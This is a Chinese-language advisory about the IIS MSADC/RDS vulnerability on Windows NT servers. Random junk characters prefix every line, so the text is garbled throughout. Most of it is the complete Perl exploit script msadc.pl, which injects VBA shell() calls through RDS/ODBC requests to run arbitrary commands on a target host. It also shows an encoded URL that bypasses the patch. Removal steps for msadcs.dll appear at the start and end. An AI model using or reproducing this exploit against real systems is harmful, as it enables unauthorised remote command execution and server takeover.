IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
v[ F_r 6@Eip[e 涉及程序：
3 5|5|m a Microsoft NT server
*dUnP{6 g 8MW|CM4Q 描述：
Nm\I_wjX 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
\% ^<Ll g*Cs /w 详细：
2Ybz`O!
如果你没有时间读详细内容的话，就删除:
m#%5 H c:\Program Files\Common Files\System\Msadc\msadcs.dll
]!0*k#i_. 有关的安全问题就没有了。
cC4*4bMm y6:=2(]w<p 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
`@Kh> K {/#?n[" 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
{H"gp?Z- 关于利用ODBC远程漏洞的描述，请参看:
IGv>0LOd@ i 3(bg, http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm d&R/f Im ce+\D'q [ 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
iW)FjDTP http://www.microsoft.com/security/bulletins/MS99-025faq.asp vcV=9q8P1 &?zJ|7rh@| 这里不再论述。
@iW I gL p?Yovckm 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
o^DiIo or yDy3;*lE /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
wW !*"z 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
0 w @~ynW[ QM;L>e-ZY (VBoZP=W #将下面这段保存为txt文件，然后: "perl -x 文件名"
siyJjE)}w 3+n&Ya1 #!perl
=>S5}6 #
S~Nx;sB # MSADC/RDS 'usage' (aka exploit) script
C7q bofo V #
'%K,A-7W # by rain.forest.puppy
L & PhABZ #
<( [o4% # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
u !{P{C # beta test and find errors!
q;B-np?U '1.T-.4>& use Socket; use Getopt::Std;
TS=p8@w} getopts("e:vd:h:XR", \%args);
6Y}#v Z _Vp9Y:mX2 print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
LZ\}Kgi(!T qx`*]lX if (!defined $args{h} && !defined $args{R}) {
:Q&8DC#] print qq~
J0|/g2%0 Usage: msadc.pl -h <host> { -d <delay> -X -v }
eeB^c/k(P -h <host> = host you want to scan (ip or domain)
.&}}ro48 -d <seconds> = delay between calls, default 1 second
,h> 0k`J:a -X = dump Index Server path table, if available
Kr ]F+erJe -v = verbose
U_M > Q_r( -e = external dictionary file for step 5
$ C^94$W v?d ~H`L Or a -R will resume a command session
chfj|Ce]x $ n
7dIE ~; exit;}
i ]F,Y;&| Z;??j+`Eo $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
:LcR<>LZ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
i~l0XjQb s if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
Lxd* W2$3_ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
{f3T !e{ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
2} 509X(* if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
jF-z? )+cP8$n6L if (!defined $args{R}){ $ret = &has_msadc;
| L fH,6 die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
,v)@&1Wh: SjG=H% print "Please type the NT commandline you want to run (cmd /c assumed):\n"
{\lu; b! . "cmd /c ";
O`|'2x{[O $in=<STDIN>; chomp $in;
-?'u"*#1, $command="cmd /c " . $in ;
vco:6Ab $ +s_@964 if (defined $args{R}) {&load; exit;}
5:56l>0 # l:qht print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
]j_S2lt &try_btcustmr;
r7w&p.? >Q t#6X| print "\nStep 2: Trying to make our own DSN...";
/ r}t &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
E!3W_:Bs xPsuDi8u print "\nStep 3: Trying known DSNs...";
htMpL &known_dsn;
ogjm6; H={fY:% print "\nStep 4: Trying known .mdbs...";
T #er5WOH &known_mdb;
gD&%$&q +2C:] if (defined $args{e}){
e2/&X;2 print "\nStep 5: Trying dictionary of DSN names...";
Isoqs(Oi &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
<qHwY. s u![S T( print "Sorry Charley...maybe next time?\n";
#sNa}292" exit;
i"|'p/9@q ^qV*W1|0 ##############################################################################
&o:ZOD. / ^!(rHf sub sendraw { # ripped and modded from whisker
eMWY[f3 sleep($delay); # it's a DoS on the server! At least on mine...
mn
8 A%6W my ($pstr)=@_;
DB%=/ \U socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
m}F1sRkdQ die("Socket problems\n");
@c7 On)sy if(connect(S,pack "SnA4x8",2,80,$target)){
0~n= | 3*P select(S); $|=1;
CBi
V':; print $pstr; my @in=<S>;
Ig5J_Z^]b select(STDOUT); close(S);
D2?~03c
return @in;
(Rs <'1+> } else { die("Can't connect...\n"); }}
\<;/)!Nmw O^sgUT1O ##############################################################################
}t"!I\C "FG6R' sub make_header { # make the HTTP request
VW bgusxJ my $msadc=<<EOT
) `;?%N\ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
M#
S:'WN User-Agent: ACTIVEDATA
LH<--#K Host: $ip
nQ /(*d Content-Length: $clen
8!:4m"Y Connection: Keep-Alive
nLo:\I( V3F2Z_VH2 ADCClientVersion:01.06
5_=&U-? H Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
-FE5sW Ur5X~a\y --!ADM!ROX!YOUR!WORLD!
J,P7k$t2vv Content-Type: application/x-varg
pMs%`j#T Content-Length: $reqlen
:/
"q NPJ %;n y EOT
_K/h/!\n ; $msadc=~s/\n/\r\n/g;
@R`OAd y return $msadc;}
i,b>&V/Y$ #(XP=PUj ##############################################################################
iCz,|;w% =o+t_.)N sub make_req { # make the RDS request
*B@<{x r my ($switch, $p1, $p2)=@_;
+a;: 7[%& my $req=""; my $t1, $t2, $query, $dsn;
Qv']*C[!z /R
F#B#9 if ($switch==1){ # this is the btcustmr.mdb query
-+O8v;aC' $query="Select * from Customers where City=" . make_shell();
k(' 2 K2P $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
&b{L|I'KYT $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
.,tf[w 71 +F+jC9j(< elsif ($switch==2){ # this is general make table query
GT#i Y* $query="create table AZZ (B int, C varchar(10))";
M F% 9 $dsn="$p1";}
IjNE1b$ \kC/)d elsif ($switch==3){ # this is general exploit table query
]Fs Plxk6 $query="select * from AZZ where C=" . make_shell();
VI37 $dsn="$p1";}
$Fr$9 jq& c AIS?]1 elsif ($switch==4){ # attempt to hork file info from index server
Uv5E$Y"e10 $query="select path from scope()";
!U=;e ?o $dsn="Provider=MSIDXS;";}
Fvi<5v L88oh&M elsif ($switch==5){ # bad query
lD 9'^J $query="select";
;~xkT' $dsn="$p1";}
KA%tVBl o2F6K*u} $t1= make_unicode($query);
co U`2n/ $t2= make_unicode($dsn);
&hqGGfVsd $req = "\x02\x00\x03\x00";
ow] n)Te $req.= "\x08\x00" . pack ("S1", length($t1));
U
.G*C $req.= "\x00\x00" . $t1 ;
5RZAs63t $req.= "\x08\x00" . pack ("S1", length($t2));
qmJFX nf $req.= "\x00\x00" . $t2 ;
%o*afd $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
X8?|5$Ey return $req;}
4sROMk=l ioh_5
5e ##############################################################################
0'aZ*ozk *i)GoQoB sub make_shell { # this makes the shell() statement
&bA;>Lu#|o return "'|shell(\"$command\")|'";}
[ ,G]#<G?q `M p]iD { ##############################################################################
8 rnr>Ee@ &ec_jxF sub make_unicode { # quick little function to convert to unicode
zBqr15 my ($in)=@_; my $out;
Ml0d^l}' for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
N[r@Y{ return $out;}
wk)gxn1A, rP#@*{"; ##############################################################################
Z#^2F8,] &W|'rA'r sub rdo_success { # checks for RDO return success (this is kludge)
21w<8:Vg my (@in) = @_; my $base=content_start(@in);
I" Y?vj9] if($in[$base]=~/multipart\/mixed/){
_khQ return 1 if( $in[$base+10]=~/^\x09\x00/ );}
7|"11^q return 0;}
B/pNM81( D `,@EW]. ##############################################################################
C^l) n!fq DH m$gk sub make_dsn { # this makes a DSN for us
v)rN] b] my @drives=("c","d","e","f");
+h*&r ~T print "\nMaking DSN: ";
RC\TPG/8! foreach $drive (@drives) {
jZ.+b
j > print "$drive: ";
+ ZGOv,l my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
x$6-7<p "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
X9zTz2 Fy . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
>8jDW "Ua $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
CbK7="48 return 0 if $2 eq "404"; # not found/doesn't exist
/WM G)#kw' if($2 eq "200") {
F'|,(P foreach $line (@results) {
^3AJYu return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
-/7[_, } return 0;}
|
M-@Qvgh y 0M&Bh ##############################################################################
0D 0 #*J tHhY1[A8m sub verify_exists {
6S ]GSS< my ($page)=@_;
Dt.OZ4w5 my @results=sendraw("GET $page HTTP/1.0\n\n");
,CwhpW\Y return $results[0];}
Zw"6-h 4 %3"3 OOT7 ##############################################################################
s9O] tk 9-p d {Z~l sub try_btcustmr {
:sM|~gT my @drives=("c","d","e","f");
("m W=Ln my @dirs=("winnt","winnt35","winnt351","win","windows");
G{ F>=z"(l r_
r+&4n foreach $dir (@dirs) {
{TUCa print "$dir -> "; # fun status so you can see progress
{`l]RIig foreach $drive (@drives) {
I caIB) print "$drive: "; # ditto
qY#*zx $reqlen=length( make_req(1,$drive,$dir) ) - 28;
c|ZZ+2I Yd $reqlenlen=length( "$reqlen" );
@yobT,DXi $clen= 206 + $reqlenlen + $reqlen;
XTHrf'BU :GGsQ
n my @results=sendraw(make_header() . make_req(1,$drive,$dir));
K\n %&w if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
0Wv9K~F else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
Tz%l 9aC LhV4 ^\+ ##############################################################################
j >0S3P, G|Q}.v sub odbc_error {
F-_RL-hbN% my (@in)=@_; my $base;
0@3g'TGl my $base = content_start(@in);
-c|O !Lc- if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
\^':(Gu4o $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
7+ =j]+ O $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
MS, H12h $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
C8NbxP return $in[$base+4].$in[$base+5].$in[$base+6];}
yHT}rRS8 print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
c WK@ O > print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
\U~ggg0h $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
V O++(G) zA-?x1th& ##############################################################################
t"RgEH @ X2sK<Qluql sub verbose {
<J`_Qc8C my ($in)=@_;
{"4t`dM return if !$verbose;
gxt2Mq;q~} print STDOUT "\n$in\n";}
AS4m227 a$;+-Y ##############################################################################
$Q]`+:g*} 7e}p:Vf p sub save {
x2|DI)J1' my ($p1, $p2, $p3, $p4)=@_;
!.3
MtXr open(OUT, ">rds.save") || print "Problem saving parameters...\n";
]l+2Ca:-[j print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
ub.pJJlC close OUT;}
:!{a ey uiHlaMf ##############################################################################
Y^3tk} yru X3 a:*1N sub load {
b/ZX}<s(1= my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
rKi)VVkx_ open(IN,"<rds.save") || die("Couldn't open rds.save\n");
!?Ow"i-lp @p=<IN>; close(IN);
7"8HlOHA $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
}yB @? $target= inet_aton($ip) || die("inet_aton problems");
h3O5DP6~ print "Resuming to $ip ...";
i_gS!1Z 2 $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
S5bk<8aPP if($p[1]==1) {
SOP=
X-6f $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
<<n8 P5pXt $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
F!a YK2 my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
~{+J~5!;<H if (rdo_success(@results)){print "Success!\n";}
TD\QX2m else { print "failed\n"; verbose(odbc_error(@results));}}
Lg 9ktRKK elsif ($p[1]==3){
hkW"D<i i- if(run_query("$p[3]")){
T
0^U
]C print "Success!\n";} else { print "failed\n"; }}
U0)(k }Q) elsif ($p[1]==4){
,QG,tf? if(run_query($drvst . "$p[3]")){
Z/Mp=273 print "Success!\n"; } else { print "failed\n"; }}
;&:UxmTf exit;}
y fP&Q<| r Ld,Izi ##############################################################################
U76:F?MH 2hU4g
e?6 sub create_table {
zxwpS my ($in)=@_;
(S9"(\A $reqlen=length( make_req(2,$in,"") ) - 28;
XV+BSW7} $reqlenlen=length( "$reqlen" );
q{KRM\ooYs $clen= 206 + $reqlenlen + $reqlen;
_L# Tp my @results=sendraw(make_header() . make_req(2,$in,""));
@h ^5*M return 1 if rdo_success(@results);
gdk O|x my $temp= odbc_error(@results); verbose($temp);
p4aM`PW8>= return 1 if $temp=~/Table 'AZZ' already exists/;
5!y3= .j return 0;}
fI}-?@ LJI&j \ ##############################################################################
?:H9xJ_^ sH+]lTSX6{ sub known_dsn {
.: <c[EJ
b # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
dcXtT3,kpX my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
i37W^9 R "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
S:^Q( w7 "banner", "banners", "ads", "ADCDemo", "ADCTest");
gvwR16N gB
kb0 foreach $dSn (@dsns) {
sy>P n print ".";
;B1}so1] next if (!is_access("DSN=$dSn"));
eZg31. if(create_table("DSN=$dSn")){
e@ F& /c print "$dSn successful\n";
u6 B (f; if(run_query("DSN=$dSn")){
0imz }Z] print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
u y`U1> print "Something's borked. Use verbose next time\n";}}} print "\n";}
S6]D;c8GE 's&Vg09D, ##############################################################################
4H\O&pSS *N Xwllrci sub is_access {
;#f%vs>Y7i my ($in)=@_;
#*Mk@XrV $reqlen=length( make_req(5,$in,"") ) - 28;
y{jv-&!xB $reqlenlen=length( "$reqlen" );
[a+?z6qI\} $clen= 206 + $reqlenlen + $reqlen;
j- A
S {w my @results=sendraw(make_header() . make_req(5,$in,""));
YK}(VF?& my $temp= odbc_error(@results);
Q t@~y'O verbose($temp); return 1 if ($temp=~/Microsoft Access/);
nq6]?ZJ return 0;}
lXB_HDY <v5toyA ##############################################################################
EH,uX{`e /~AwX8X sub run_query {
(&
~`!] my ($in)=@_;
<GoE2a4Va $reqlen=length( make_req(3,$in,"") ) - 28;
8<_WtDg $reqlenlen=length( "$reqlen" );
`5q`ibyPI $clen= 206 + $reqlenlen + $reqlen;
4)XN1r: my @results=sendraw(make_header() . make_req(3,$in,""));
lg!1q8 return 1 if rdo_success(@results);
(:[><-h. my $temp= odbc_error(@results); verbose($temp);
zIdQ^vm8Q return 0;}
=U,;/f Ylo@ ##############################################################################
0Fi7| qBCZ)JEN#U sub known_mdb {
?BWWb
my @drives=("c","d","e","f","g");
3QXGbu}:h! my @dirs=("winnt","winnt35","winnt351","win","windows");
KTf!Pf?g my $dir, $drive, $mdb;
R[_7ab]A my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
T /] ayc: tX)]ZuEi$ # this is sparse, because I don't know of many
5d L-v&W my @sysmdbs=( "\\catroot\\icatalog.mdb",
% yJs "% "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
ShSh/0
"\\system32\\certmdb.mdb",
6qH o$#iT "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
9k83wACry wx57dm+ my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
MhJ`> .z1
"\\cfusion\\cfapps\\forums\\forums_.mdb",
m6 IZG l7% "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
kSI,Q!e\ "\\cfusion\\cfapps\\security\\realm_.mdb",
j l7e6#zu "\\cfusion\\cfapps\\security\\data\\realm.mdb",
E oOrA@N "\\cfusion\\database\\cfexamples.mdb",
Mq*Sp
U R "\\cfusion\\database\\cfsnippets.mdb",
!N)oi $T% "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
c)Y I3G$ "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
b!`:|!7r' "\\cfusion\\brighttiger\\database\\cleam.mdb",
;dB=/U>3U "\\cfusion\\database\\smpolicy.mdb",
~xHr/: "\\cfusion\\database\cypress.mdb",
xQmk2S`
y "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
Kvk ;D ]$ "\\website\\cgi-win\\dbsample.mdb",
if `/LJsa "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
(Ojg~P 4;& "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
}4b wLO ); #these are just
Qs,LK(1 foreach $drive (@drives) {
yLY2_p- X foreach $dir (@dirs){
G1P m!CM= foreach $mdb (@sysmdbs) {
sAnH\AFm print ".";
3mBr nq]j> if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
q=R =z$yr print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
:b.#h7Qt< if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
J@R+t6$3O print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
SS H/q/ } else { print "Something's borked. Use verbose next time\n"; }}}}}
8:0l5cZE /}M@MbGM M foreach $drive (@drives) {
>i=O =w foreach $mdb (@mdbs) {
B!8] \D print ".";
[IHT)%>E8& if(create_table($drv . $drive . $dir . $mdb)){
(jQL? print "\n" . $drive . $dir . $mdb . " successful\n";
*Qyw
_Q if(run_query($drv . $drive . $dir . $mdb)){
U+'?#"
J8( print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
vn
kktD'n } else { print "Something's borked. Use verbose next time\n"; }}}}
7p~@S4 }
2&=;$2?} ]jy6C'Mp ##############################################################################
yJKezIL\z b %v1]a[ sub hork_idx {
}}Q|O]e print "\nAttempting to dump Index Server tables...\n";
;APg!5X print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
}K &K { 9} $reqlen=length( make_req(4,"","") ) - 28;
;Y)?6^" $reqlenlen=length( "$reqlen" );
Z 4t9q`}h $clen= 206 + $reqlenlen + $reqlen;
"E'OP R my @results=sendraw2(make_header() . make_req(4,"",""));
Xbap' /t
if (rdo_success(@results)){
v#nFPB=z my $max=@results; my $c; my %d;
[ u-~<80 for($c=19; $c<$max; $c++){
"5>p]u> $results[$c]=~s/\x00//g;
v3hNvcMpf $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
*1>XlVx, $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
a?D\H5TF- $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
%r|fuwwJO $d{"$1$2"}="";}
`N|WCiBV. foreach $c (keys %d){ print "$c\n"; }
); $~/H4 } else {print "Index server doesn't seem to be installed.\n"; }}
*emUQ/uvf S '?XI@t[ ##############################################################################
Z0-W% W ,a?em'= sub dsn_dict {
Nzr zLK open(IN, "<$args{e}") || die("Can't open external dictionary\n");
WM>9sJf while(<IN>){
d;'@4NX5+ $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
w0
"h ,{ next if (!is_access("DSN=$dSn"));
m&;
t;&# if(create_table("DSN=$dSn")){
> ~ne(n4qy print "$dSn successful\n";
j)J4[j if(run_query("DSN=$dSn")){
"e(OO/EZS print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
ss-B e print "Something's borked. Use verbose next time\n";}}}
Q[g%((DL print "\n"; close(IN);}
@gTp iV2 ,Q}/#/ ##############################################################################
7OW;o mT` N;s sO, sub sendraw2 { # ripped and modded from whisker
X|8Y z3:o sleep($delay); # it's a DoS on the server! At least on mine...
Kj'm<]u my ($pstr)=@_;
Rfgc^ 3:j socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
VJ1si0vWtq die("Socket problems\n");
o 'yR^` if(connect(S,pack "SnA4x8",2,80,$target)){
X1A;MA@0Ro print "Connected. Getting data";
&5zUk++ open(OUT,">raw.out"); my @in;
i 5-V$ Qh select(S); $|=1; print $pstr;
gA .G:1v while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
W_kJ b close(OUT); select(STDOUT); close(S); return @in;
-/FCd( } else { die("Can't connect...\n"); }}
.
vYGJ8(P 8n2* z ##############################################################################
LkNfcBa_ Mu{mj4Y{ sub content_start { # this will take in the server headers
E!ZDqq my (@in)=@_; my $c;
2{{M{#}S. for ($c=1;$c<500;$c++) {
C~6aX /: if($in[$c] =~/^\x0d\x0a/){
[*50Ng>P` if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
v[HxO?x^ else { return $c+1; }}}
.8wR;^ return -1;} # it should never get here actually
A
#ZaXu/:X "\>
<UJ ##############################################################################
)Hw;{5p@ FJ#V"| } sub funky {
`~*qjA my (@in)=@_; my $error=odbc_error(@in);
E9
q8tE} if($error=~/ADO could not find the specified provider/){
2Ie50U print "\nServer returned an ADO miscofiguration message\nAborting.\n";
<G6 wpf8M exit;}
<Z#u_:5@ if($error=~/A Handler is required/){
~;U!? print "\nServer has custom handler filters (they most likely are patched)\n";
EB>laZy > exit;}
*Z{W,8h* s if($error=~/specified Handler has denied Access/){
o F @{& print "\nServer has custom handler filters (they most likely are patched)\n";
5#:tL&q exit;}}
( 6r9y3' ^=W%G^jJy ##############################################################################
rWa7"<`p m*[ " sub has_msadc {
M0_K%Z(zaR my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
spFsrB my $base=content_start(@results);
\ `4}h[ return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
,g^Bu {? return 0;}
nA+[[(6 S:
/ShT ########################
9}3W0F; /$ L;m 1!=$3]l0Lj 解决方案：
'v\!} 6 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
\Z57U NI 2、移除web 目录: /msadc
